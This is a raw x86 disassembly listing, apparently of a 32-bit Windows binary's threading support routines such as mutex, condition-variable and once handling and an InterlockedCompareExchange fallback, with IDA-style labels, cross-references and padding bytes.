call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432007: ; CODE XREF: sub_431EF0+101j
nop
call near ptr 2770A06h
test eax, eax
jl short loc_432026
push edi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432026
nop
call near ptr 77C1F2BCh
mov ebp, [eax]
loc_432026: ; CODE XREF: sub_431EF0+11Fj
; sub_431EF0+12Cj
push ebx
nop
call near ptr 7C9010EDh
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432034: ; CODE XREF: sub_431EF0+D1j
lea ebx, [esi+14h]
push ebx
nop
call near ptr 7C901005h
push edi
call sub_4010A5
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_43205A
push esi
call near ptr 2770A06h
nop
mov ebp, 274Ch
loc_43205A: ; CODE XREF: sub_431EF0+15Cj
push ebx
nop
call near ptr 7C9010EDh
test edi, edi
jnz short loc_432081
jmp loc_431F30
; ---------------------------------------------------------------------------
loc_43206A: ; CODE XREF: sub_431EF0+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43207E: ; CODE XREF: sub_431EF0+4Dj
; sub_431EF0+187j
mov [esi+0Ch], eax
loc_432081: ; CODE XREF: sub_431EF0+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_432088: ; CODE XREF: sub_431EF0+Aj
; sub_431EF0+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_431EF0 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432100 proc near ; CODE XREF: sub_431EF0+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_43219E
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_432132
or eax, 0FFFFFFFFh
loc_43211C: ; CODE XREF: sub_432100+7Fj
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
nop
call near ptr 27707F3h
test eax, eax
jnz short loc_43218C
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432132: ; CODE XREF: sub_432100+17j
lea eax, [esp+14h+var_C]
push eax
nop
call near ptr 77C49113h
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_43211C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43218C: ; CODE XREF: sub_432100+2Aj
cmp eax, 102h
jnz short loc_43219E
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43219E: ; CODE XREF: sub_432100+Bj
; sub_432100+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_432100 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4321F0 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_432290
mov esi, [eax]
cmp esi, ebx
jz loc_432290
cmp esi, 0FFFFFFFFh
push edi
jz short loc_432285
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_43223A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jnz short loc_43223A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43223A: ; CODE XREF: sub_4321F0+2Aj
; sub_4321F0+40j
cmp [esi+8], edi
jnz short loc_432248
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_43228A
loc_432248: ; CODE XREF: sub_4321F0+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
nop
call near ptr 2770A06h
test eax, eax
jl short loc_432278
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432278
call near ptr 77C1F2BCh
nop
mov ebx, [eax]
loc_432278: ; CODE XREF: sub_4321F0+6Ej
; sub_4321F0+7Ej
push edi
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432285: ; CODE XREF: sub_4321F0+1Ej
mov ebx, 16h
loc_43228A: ; CODE XREF: sub_4321F0+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432290: ; CODE XREF: sub_4321F0+Aj
; sub_4321F0+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_4321F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4322D0 proc near ; CODE XREF: sub_401785j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_432355
mov eax, [esi]
test eax, eax
jz short loc_432355
cmp eax, 0FFFFFFFFh
jnz short loc_4322F2
push esi
call sub_401C17
add esp, 4
mov edi, eax
loc_4322F2: ; CODE XREF: sub_4322D0+15j
mov esi, [esi]
test edi, edi
jnz short loc_432350
push 0FFFFFFFFh
push edi
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_432323
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43231B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43231B: ; CODE XREF: sub_4322D0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432323: ; CODE XREF: sub_4322D0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43234B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_43234B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43234B: ; CODE XREF: sub_4322D0+57j
; sub_4322D0+6Dj
mov edi, 10h
loc_432350: ; CODE XREF: sub_4322D0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432355: ; CODE XREF: sub_4322D0+Aj
; sub_4322D0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_4322D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432390: ; CODE XREF: ___:0040193Dj
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323C0: ; CODE XREF: ___:00401591j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018CF
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323F0: ; CODE XREF: ___:00401497j
mov eax, [esp+4]
test eax, eax
jz short loc_4323FC
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_4323FC: ; CODE XREF: ___:004323F6j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432410: ; CODE XREF: ___:00401C12j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_432422
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432422: ; CODE XREF: ___:00432418j
mov esi, [eax]
test esi, esi
jnz short loc_432445
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_432445
call sub_401D02
; ---------------------------------------------------------------------------
dd 0DBC6E856h, 0E890023Fh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432445: ; CODE XREF: ___:00432426j
; ___:0043242Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43247E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43247E: ; CODE XREF: ___:00432474j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4324E6
mov edx, [esi+38h]
push edx
call near ptr 27707F3h
nop
test eax, eax
jnz short loc_4324D7
lea edi, [esi+2Ch]
push edi
call sub_402248
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4324C6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4324C6: ; CODE XREF: ___:004324A6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324D7: ; CODE XREF: ___:00432492j
cmp eax, 102h
jz short loc_4324EC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324E6: ; CODE XREF: ___:00432484j
nop
call near ptr 2830000h
loc_4324EC: ; CODE XREF: ___:004324DCj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432540: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C3A
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43255B
mov eax, [esp+0]
loc_43255B: ; CODE XREF: ___:00432555j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432570 proc near ; CODE XREF: sub_401712j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
nop
call near ptr 27E08BCh
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_5103BC, eax
nop
call near ptr 2890000h
test eax, eax
mov dword_5103D8, eax
jnz short loc_4325BD
mov eax, dword_5103BC
mov dword_5103D8, offset sub_4012D0
push eax
nop
call near ptr 2750975h
mov dword_5103BC, 0
loc_4325BD: ; CODE XREF: sub_432570+2Bj
mov eax, esi
pop esi
retn
sub_432570 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4325F0 proc near ; CODE XREF: sub_401627j
mov eax, dword_5103C0
test eax, eax
jz short loc_432640
mov eax, dword_5103C4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h
dd 5103C40Dh, 4C48300h, 6A118Bh, 0E004E852h, 0E8900231h
dd 0FFFCF015h, 5103BCA1h, 74C08500h, 36E85007h, 900231E3h
; ---------------------------------------------------------------------------
loc_432640: ; CODE XREF: sub_4325F0+7j
mov eax, 1
retn
sub_4325F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432670 proc near ; CODE XREF: sub_4017BCj
mov eax, 1
retn
sub_432670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432690 proc near ; CODE XREF: sub_4017CBj
mov eax, dword_5103C0
test eax, eax
jz short loc_4326CB
mov eax, dword_5103C4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
dd 5103C40Dh, 4C48300h, 6A118Bh, 0DF64E852h
; ---------------------------------------------------------------------------
xor [edx], eax
nop
loc_4326CB: ; CODE XREF: sub_432690+7j
mov eax, 1
retn
sub_432690 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432700: ; CODE XREF: ___:0040225Cj
push ecx
push esi
push offset dword_5109A0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, dword_5103CC
test eax, eax
mov [esp+4], eax
jz short loc_43273E
loc_43271C: ; CODE XREF: ___:0043273Cj
test esi, esi
jnz short loc_43273E
lea eax, [esp+4]
push eax
call sub_40160E
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43271C
loc_43273E: ; CODE XREF: ___:0043271Aj
; ___:0043271Ej
push offset dword_5109A0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432780 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432799
mov eax, [eax]
test eax, eax
jz short loc_432799
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_432799
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432799: ; CODE XREF: sub_432780+6j
; sub_432780+Cj ...
mov eax, 1
retn
sub_432780 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4327B0 proc near ; CODE XREF: sub_401320j
mov eax, dword_5103C0
test eax, eax
jz short loc_4327BF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4327BF: ; CODE XREF: sub_4327B0+7j
push 0
push offset dword_5103C4
mov dword_5103C0, 1
call sub_401609
add esp, 8
test eax, eax
jnz short loc_4327EE
push eax
push offset dword_5103C8
call sub_401609
add esp, 8
test eax, eax
jz short loc_4327F3
loc_4327EE: ; CODE XREF: sub_4327B0+2Aj
call sub_401645
loc_4327F3: ; CODE XREF: sub_4327B0+3Cj
push esi
mov esi, dword_511868
push offset dword_5108E0
call esi
push offset dword_510940
call esi
push offset dword_5109A0
call esi
push offset dword_510920
call esi
push offset dword_510980
call esi
push offset dword_510960
call esi
mov eax, dword_5103C0
pop esi
retn
sub_4327B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432850 proc near ; CODE XREF: sub_401645j
mov eax, dword_5103C0
test eax, eax
jz locret_432909
mov eax, dword_5103C4
test eax, eax
jz short loc_432879
push eax
call sub_401AB4
add esp, 4
mov dword_5103C4, 0
loc_432879: ; CODE XREF: sub_432850+14j
mov eax, dword_5103C8
test eax, eax
jz short loc_432895
push eax
call sub_401AB4
add esp, 4
mov dword_5103C8, 0
loc_432895: ; CODE XREF: sub_432850+30j
push esi
push offset dword_5108E0
call near ptr 7C901005h
nop
mov eax, dword_447710
cmp eax, 1
jz short loc_4328C3
push edi
mov edi, dword_511AD0
loc_4328B2: ; CODE XREF: sub_432850+70j
mov esi, [eax+8]
push eax
call edi ; free
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4328B2
pop edi
loc_4328C3: ; CODE XREF: sub_432850+59j
push offset dword_5108E0
call near ptr 7C9010EDh
nop
mov esi, dword_511864
push offset dword_510960
call esi
push offset dword_510980
call esi
push offset dword_510920
call esi
push offset dword_5109A0
call esi
push offset dword_510940
call esi
push offset dword_5108E0
call esi
mov dword_5103C0, 0
pop esi
locret_432909: ; CODE XREF: sub_432850+7j
retn
sub_432850 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:loc_401BA9j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
nop
call near ptr 77C2C21Bh
mov eax, dword_5103C4
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_437D4C
; ---------------------------------------------------------------------------
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_43299C
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_43299C: ; CODE XREF: ___:00432989j
dec eax
jz short loc_4329A5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_4329A5: ; CODE XREF: ___:0043299Dj
mov esi, [edi+14h]
loc_4329A8: ; CODE XREF: ___:0043299Aj
; ___:004329A3j
cmp dword ptr [edi+20h], 1
jnz short loc_4329C7
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4329C7: ; CODE XREF: ___:004329ACj
push edi
call sub_40131B
add esp, 4
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432A20 proc near ; CODE XREF: sub_4017B7j
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_432A9A
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402248
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BD1
mov eax, [esp+0A0h+var_4C]
mov esi, dword_5118E0
add esp, 10h
test eax, eax
pop edi
jz short loc_432A78
push eax
call esi
loc_432A78: ; CODE XREF: sub_432A20+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_402252
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_432A9A
test [esp+8Ch+var_8], 1
jnz short loc_432A9A
push eax
call esi
loc_432A9A: ; CODE XREF: sub_432A20+11j
; sub_432A20+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_432A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AE0 proc near ; CODE XREF: sub_401DDEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432B01
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B01: ; CODE XREF: sub_432AE0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402248
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_432B42
push esi
call sub_402252
push esi
nop
call near ptr 77C2C21Bh
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B42: ; CODE XREF: sub_432AE0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_432B67
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_432B67: ; CODE XREF: sub_432AE0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_432AE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BB0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_432BD7
mov eax, [esi+8]
test eax, eax
jnz short loc_432BD7
mov eax, [esi+4]
test eax, eax
jnz short loc_432BD7
push esi
call sub_402252
push esi
nop
call near ptr 77C2C21Bh
add esp, 8
loc_432BD7: ; CODE XREF: sub_432BB0+7j
; sub_432BB0+Ej ...
pop esi
retn
sub_432BB0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BF0 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_432C5D
mov esi, [ebx+80h]
test esi, esi
jz short loc_432C5D
push edi
loc_432C05: ; CODE XREF: sub_432BF0+6Aj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_432C58
mov edi, [esi+8]
test edi, edi
jz short loc_432C33
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432C33
mov edi, [edi+4]
test edi, edi
jz short loc_432C33
push eax
loc_432C2E: ; CODE XREF: ___:00432CA7j
call edi ; free
add esp, 4
loc_432C33: ; CODE XREF: sub_432BF0+27j
; sub_432BF0+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_432C58: ; CODE XREF: sub_432BF0+20j
test esi, esi
jnz short loc_432C05
pop edi
loc_432C5D: ; CODE XREF: sub_432BF0+8j
; sub_432BF0+12j
pop esi
pop ebx
retn
sub_432BF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432C80 proc near ; CODE XREF: sub_401DEDj
mov eax, dword_5103C4
push ebx
push edi
push eax
call sub_401190
sub_432C80 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F8E2918h], edx
ja short loc_432C2E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_432CB0+1
loc_432CB0: ; CODE XREF: ___:00432CAEj
jz short loc_432CD5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_432CC2
dec eax
jnz short loc_432CC5
or esi, 0FFFFFFFFh
jmp short loc_432CC5
; ---------------------------------------------------------------------------
loc_432CC2: ; CODE XREF: ___:00432CB8j
mov esi, [edi+14h]
loc_432CC5: ; CODE XREF: ___:00432CBBj
; ___:00432CC0j
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
pop esi
loc_432CD5: ; CODE XREF: ___:loc_432CB0j
push 1
call sub_401B22
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 80408BE8h, 90909077h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432D10 proc near ; CODE XREF: sub_401B22j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_432D10 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432D2F
loc_432D22: ; CODE XREF: ___:00432D2Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_432D22
loc_432D2F: ; CODE XREF: ___:00432D20j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432D50: ; CODE XREF: ___:00401DF7j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D70 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_432D70 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DB0 proc near ; CODE XREF: sub_401C3Aj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 27901DCh
push eax
nop
call near ptr 27502F0h
test eax, eax
jz short loc_432DF2
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_432DDC: ; CODE XREF: sub_432DB0+33j
test eax, edx
jz short loc_432DE1
inc ecx
loc_432DE1: ; CODE XREF: sub_432DB0+2Ej
shl eax, 1
jnz short loc_432DDC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_432DF2: ; CODE XREF: sub_432DB0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_432DB0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E20 proc near ; CODE XREF: sub_40185Cj
arg_0 = dword ptr 4
push esi
push offset dword_510980
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_432E54
push esi
push ecx
call sub_401F91
add esp, 8
mov esi, eax
push offset dword_510980
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E54: ; CODE XREF: sub_432E20+17j
test eax, eax
jnz short loc_432E5D
mov esi, 16h
loc_432E5D: ; CODE XREF: sub_432E20+36j
push offset dword_510980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_432E20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E90 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_432E90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401F91j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_432EE2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432EE2: ; CODE XREF: sub_432ED0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_432F02
cmp dword ptr [eax], 0
jz short loc_432F02
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+1Aj
; sub_432ED0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432F26
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F26: ; CODE XREF: sub_432ED0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F84
lea ebx, [esi+4]
push eax
push ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F7B
push eax
lea eax, [esi+8]
push eax
call sub_40154B
mov edi, eax
add esp, 8
test edi, edi
jz short loc_432F9C
push ebx
call sub_402252
add esp, 4
